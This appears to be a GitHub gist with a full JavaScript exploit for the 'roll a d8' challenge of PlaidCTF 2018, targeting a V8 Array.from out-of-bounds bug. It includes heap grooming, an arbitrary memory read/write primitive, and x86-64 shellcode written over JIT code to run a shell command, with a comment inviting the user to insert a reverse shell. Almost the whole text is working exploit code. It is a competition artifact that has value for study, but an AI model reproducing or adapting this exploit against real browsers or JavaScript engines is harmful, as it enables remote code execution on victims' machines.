Created
May 6, 2018 16:12
-
-
Save saelo/52985fe415ca576c94fc3f1975dbe837 to your computer and use it in GitHub Desktop.
Exploit for the "roll a d8" challenge of PlaidCTF 2018
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
// Quick and dirty exploit for the "roll a d8" challenge of PlaidCTF 2018. | |
// N-day exploit for https://chromium.googlesource.com/v8/v8/+/b5da57a06de8791693c248b7aafc734861a3785d | |
// | |
// Scroll down do "BEGIN EXPLOIT" to skip the utility functions. | |
// | |
// Copyright (c) 2018 Samuel Groß | |
// | |
// | |
// Utility functions. | |
// | |
// Return the hexadecimal representation of the given byte. | |
function hex(b) { | |
return ('0' + b.toString(16)).substr(-2); | |
} | |
// Return the hexadecimal representation of the given byte array. | |
function hexlify(bytes) { | |
var res = []; | |
for (var i = 0; i < bytes.length; i++) | |
res.push(hex(bytes[i])); | |
return res.join(''); | |
} | |
// Return the binary data represented by the given hexdecimal string. | |
function unhexlify(hexstr) { | |
if (hexstr.length % 2 == 1) | |
throw new TypeError("Invalid hex string"); | |
var bytes = new Uint8Array(hexstr.length / 2); | |
for (var i = 0; i < hexstr.length; i += 2) | |
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); | |
return bytes; | |
} | |
function hexdump(data) { | |
if (typeof data.BYTES_PER_ELEMENT !== 'undefined') | |
data = Array.from(data); | |
var lines = []; | |
for (var i = 0; i < data.length; i += 16) { | |
var chunk = data.slice(i, i+16); | |
var parts = chunk.map(hex); | |
if (parts.length > 8) | |
parts.splice(8, 0, ' '); | |
lines.push(parts.join(' ')); | |
} | |
return lines.join('\n'); | |
} | |
// Simplified version of the similarly named python module. | |
var Struct = (function() { | |
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations. | |
var buffer = new ArrayBuffer(8); | |
var byteView = new Uint8Array(buffer); | |
var uint32View = new Uint32Array(buffer); | |
var float64View = new Float64Array(buffer); | |
return { | |
pack: function(type, value) { | |
var view = type; // See below | |
view[0] = value; | |
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); | |
}, | |
unpack: function(type, bytes) { | |
if (bytes.length !== type.BYTES_PER_ELEMENT) | |
throw Error("Invalid bytearray"); | |
var view = type; // See below | |
byteView.set(bytes); | |
return view[0]; | |
}, | |
// Available types. | |
int8: byteView, | |
int32: uint32View, | |
float64: float64View | |
}; | |
})(); | |
// | |
// Tiny module that provides big (64bit) integers. | |
// | |
// Copyright (c) 2016 Samuel Groß | |
// | |
// Requires utils.js | |
// | |
// Datatype to represent 64-bit integers. | |
// | |
// Internally, the integer is stored as a Uint8Array in little endian byte order. | |
function Int64(v) { | |
// The underlying byte array. | |
var bytes = new Uint8Array(8); | |
switch (typeof v) { | |
case 'number': | |
v = '0x' + Math.floor(v).toString(16); | |
case 'string': | |
if (v.startsWith('0x')) | |
v = v.substr(2); | |
if (v.length % 2 == 1) | |
v = '0' + v; | |
var bigEndian = unhexlify(v, 8); | |
bytes.set(Array.from(bigEndian).reverse()); | |
break; | |
case 'object': | |
if (v instanceof Int64) { | |
bytes.set(v.bytes()); | |
} else { | |
if (v.length != 8) | |
throw TypeError("Array must have excactly 8 elements."); | |
bytes.set(v); | |
} | |
break; | |
case 'undefined': | |
break; | |
default: | |
throw TypeError("Int64 constructor requires an argument."); | |
} | |
// Return a double whith the same underlying bit representation. | |
this.asDouble = function() { | |
// Check for NaN | |
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) | |
throw new RangeError("Integer can not be represented by a double"); | |
return Struct.unpack(Struct.float64, bytes); | |
}; | |
// Return a javascript value with the same underlying bit representation. | |
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) | |
// due to double conversion constraints. | |
this.asJSValue = function() { | |
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) | |
throw new RangeError("Integer can not be represented by a JSValue"); | |
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. | |
this.assignSub(this, 0x1000000000000); | |
var res = Struct.unpack(Struct.float64, bytes); | |
this.assignAdd(this, 0x1000000000000); | |
return res; | |
}; | |
// Return the underlying bytes of this number as array. | |
this.bytes = function() { | |
return Array.from(bytes); | |
}; | |
// Return the byte at the given index. | |
this.byteAt = function(i) { | |
return bytes[i]; | |
}; | |
// Return the value of this number as unsigned hex string. | |
this.toString = function() { | |
return '0x' + hexlify(Array.from(bytes).reverse()); | |
}; | |
// Basic arithmetic. | |
// These functions assign the result of the computation to their 'this' object. | |
// Decorator for Int64 instance operations. Takes care | |
// of converting arguments to Int64 instances if required. | |
function operation(f, nargs) { | |
return function() { | |
if (arguments.length != nargs) | |
throw Error("Not enough arguments for function " + f.name); | |
for (var i = 0; i < arguments.length; i++) | |
if (!(arguments[i] instanceof Int64)) | |
arguments[i] = new Int64(arguments[i]); | |
return f.apply(this, arguments); | |
}; | |
} | |
// this = -n (two's complement) | |
this.assignNeg = operation(function neg(n) { | |
for (var i = 0; i < 8; i++) | |
bytes[i] = ~n.byteAt(i); | |
return this.assignAdd(this, Int64.One); | |
}, 1); | |
// this = a + b | |
this.assignAdd = operation(function add(a, b) { | |
var carry = 0; | |
for (var i = 0; i < 8; i++) { | |
var cur = a.byteAt(i) + b.byteAt(i) + carry; | |
carry = cur > 0xff | 0; | |
bytes[i] = cur; | |
} | |
return this; | |
}, 2); | |
// this = a - b | |
this.assignSub = operation(function sub(a, b) { | |
var carry = 0; | |
for (var i = 0; i < 8; i++) { | |
var cur = a.byteAt(i) - b.byteAt(i) - carry; | |
carry = cur < 0 | 0; | |
bytes[i] = cur; | |
} | |
return this; | |
}, 2); | |
} | |
// Constructs a new Int64 instance with the same bit representation as the provided double. | |
Int64.fromDouble = function(d) { | |
var bytes = Struct.pack(Struct.float64, d); | |
return new Int64(bytes); | |
}; | |
// Convenience functions. These allocate a new Int64 to hold the result. | |
// Return -n (two's complement) | |
function Neg(n) { | |
return (new Int64()).assignNeg(n); | |
} | |
// Return a + b | |
function Add(a, b) { | |
return (new Int64()).assignAdd(a, b); | |
} | |
// Return a - b | |
function Sub(a, b) { | |
return (new Int64()).assignSub(a, b); | |
} | |
// Some commonly used numbers. | |
Int64.Zero = new Int64(0); | |
Int64.One = new Int64(1); | |
// | |
// | |
// BEGIN EXPLOIT | |
// | |
// | |
// Insert your reverse shell here | |
var cmd = "echo pwned;"; | |
// Function that we will later overwrite the JIT code of | |
function run_shellcode(x) { | |
// Something to keep turbofan from inlining this function | |
// (Might not be required, just to be safe...) | |
for (var i = 2; i < x / 2; i++) { | |
if (x % i == 0) | |
return false; | |
} | |
return true; | |
} | |
// Force JIT compiliation | |
for (var i = 0; i < 1000; i++) | |
run_shellcode(i); | |
var bufs = []; | |
var objs = []; | |
// Trigger the bug | |
// | |
// PoC copied from the crashing testcase: | |
// https://chromium.googlesource.com/v8/v8/+/b5da57a06de8791693c248b7aafc734861a3785d | |
// | |
// Bug: The Turbofan builtin for Array.from does SetLength on the result array | |
// (which in this case is |oobArray|, due to the custom |this| value for the | |
// function call) after iterating the argument is done. It does not check if | |
// the array has been resized in between though, thus setting the length to | |
// |maxSize| while the underlying memory buffer is now only ~10 elements | |
// large. This gives us a relative OOB memory read/write into the v8 heap. | |
// make |oobArray| an unboxed double array so we can conveniently read and write memory. | |
let oobArray = [0.0,1.1,2.2,3.3,4.4]; | |
let maxSize = 1028 * 8; | |
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( | |
{ | |
counter : 0, | |
next() { | |
let result = this.counter++ + 0.1; | |
if (this.counter > maxSize) { | |
// Don't resize to 0 elements so the backing buffer is reallocated | |
// to some memory region where we can place other objects. | |
oobArray.length = 10; | |
// |oobArray| has now been resized. Allocate some objects that will | |
// hopefully land behind it. In particular, allocate ArrayBuffers that | |
// we can corrupt and some plain objects to leak the address of our | |
// |run_shellcode| function. | |
for (var i = 0; i < 100; i++) { | |
bufs.push(new ArrayBuffer(0x4141)); | |
objs.push({a: 0x42424242, b: run_shellcode, c: 0x43434343}); | |
} | |
return {done: true}; | |
} else { | |
return {value: result, done: false}; | |
} | |
} | |
} | |
) }); | |
// Search for our objects in memory | |
// | |
// We can now read and write memory (as double values, since |oobArray| is an | |
// unboxed double array) behind the backing buffer of |oobArray|. Hopefully by | |
// now some of our allocated objects will be in that memory region. We can | |
// recognize the ArrayBuffers by their length (0x4141) and the plain objects | |
// from the inline properties (0x42424242 and 0x43434343) | |
// | |
// The ArrayBuffers look like this in memory: | |
// | |
// 0x00002f5246603d31 <- Map pointer | |
// 0x000012c543082251 <- OOL Properties (empty fixed array) | |
// 0x000012c543082251 <- JS Elements (unused, empty fixed array) | |
// 0x0000414100000000 <- Size as SMI | |
// 0x000055f399d4ec40 <- Pointer to backing buffer (we want to corrupt this later) | |
// 0x000055f399d4ec40 <- Again | |
// 0x0000000000004141 <- Size as native integer | |
// | |
// While the plain objects look like this: | |
// | |
// 0x00002f524660ae51 <- Map pointer | |
// 0x000012c543082251 <- OOL Properties (empty fixed array) | |
// 0x000012c543082251 <- JS Elements (empty fixed array) | |
// 0x4242424200000000 <- Inline property |a| | |
// 0x00002d6968926b39 <- Inline property |b| (this is the pointer to |run_shellcode|) | |
// 0x4343434300000000 <- Inline property |c| | |
var idx = -1; | |
var buffer = null; | |
var funcAddr = null; | |
var cmdAddr = null; | |
for (var i = 0; i < oobArray.length; i++) { | |
var v = Int64.fromDouble(oobArray[i]); | |
if (v.toString() == "0x4242424200000000") { | |
funcAddr = Sub(Int64.fromDouble(oobArray[i+1]), 1); | |
break; | |
} | |
} | |
for (var i = 0; i < oobArray.length; i++) { | |
var v = Int64.fromDouble(oobArray[i]); | |
if (v.toString() == "0x0000414100000000") { | |
idx = i; | |
// Hold on to the original address, we'll copy our shell command there | |
cmdAddr = Sub(Int64.fromDouble(oobArray[i+1]), 0); | |
// Mark the ArrayBuffer (by changing its length) so we know which one we are corrupting | |
oobArray[i] = (new Int64("0x0000424200000000")).asDouble(); | |
oobArray[i+3] = (new Int64("0x0000000000004242")).asDouble(); | |
break; | |
} | |
} | |
// Find the ArrayBuffer that we are able to corrupt | |
for (var i = 0; i < bufs.length; i++) { | |
var ab = bufs[i]; | |
if (ab.byteLength == 0x4242) { | |
buffer = ab; | |
break; | |
} | |
} | |
// Check if we succeeded | |
if (buffer == null || funcAddr == null || cmdAddr == null) | |
throw "Could not find objects in memory :("; | |
// Copy our shell command to a known address (the backing buffer of the | |
// ArrayBuffer we found in memory) | |
var cmdBuf = new Uint8Array(buffer, 0, 100); | |
cmdBuf.set(Array.from(cmd).map((c) => c.charCodeAt(0))); | |
// For convenience, a memory read/write object | |
// | |
// Note: for our read/write we simply modify the pointer to the backing buffer | |
// of our choosen ArrayBuffer instance via the |oobArray| and then access that | |
// memory via a typed array view on the corrupted ArrayBuffer. This is likely | |
// going to break/crash once GC runs (it's moving stuff around in memory) but | |
// is fine for a CTF exploit :) | |
// | |
// We could make this stable by first allocating two ArrayBuffers, running GC a | |
// few times to move them to their final address in OldSpace, then leaking their | |
// addresses like we do here with |run_shellcode| and corrupting one of them | |
// so its backing buffer now points to the other ArrayBuffer. | |
var memory = { | |
read8(addr) { | |
oobArray[idx+1] = addr.asDouble(); | |
var v = new Float64Array(buffer, 0, 8); | |
return Int64.fromDouble(v[0]); | |
}, | |
read(addr, len) { | |
oobArray[idx+1] = addr.asDouble(); | |
var v = new Uint8Array(buffer, 0, len); | |
return Array.from(v); | |
}, | |
write(addr, val) { | |
oobArray[idx+1] = addr.asDouble(); | |
var v = new Uint8Array(buffer); | |
v.set(val); | |
} | |
}; | |
// Standard stuff: leak the pointer to the JIT code for |run_shellcode| and | |
// write our own code there. Then call |run_shellcode| | |
var codeAddr = memory.read8(Add(funcAddr, 48)); | |
var jitCodeAddr = Add(codeAddr, 95); | |
// Essentially `system(cmd);` | |
var shellcode = [].concat( | |
[72,49,210,72,184,47,98,105,110,47,115,104,0,80,72,137,231,184,45,99,0,0,80,72,137,225,72,184], | |
Array.from(cmdAddr.bytes()), | |
[82,80,81,87,72,137,230,184,59,0,0,0,15,5] | |
); | |
memory.write(jitCodeAddr, shellcode); | |
run_shellcode(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment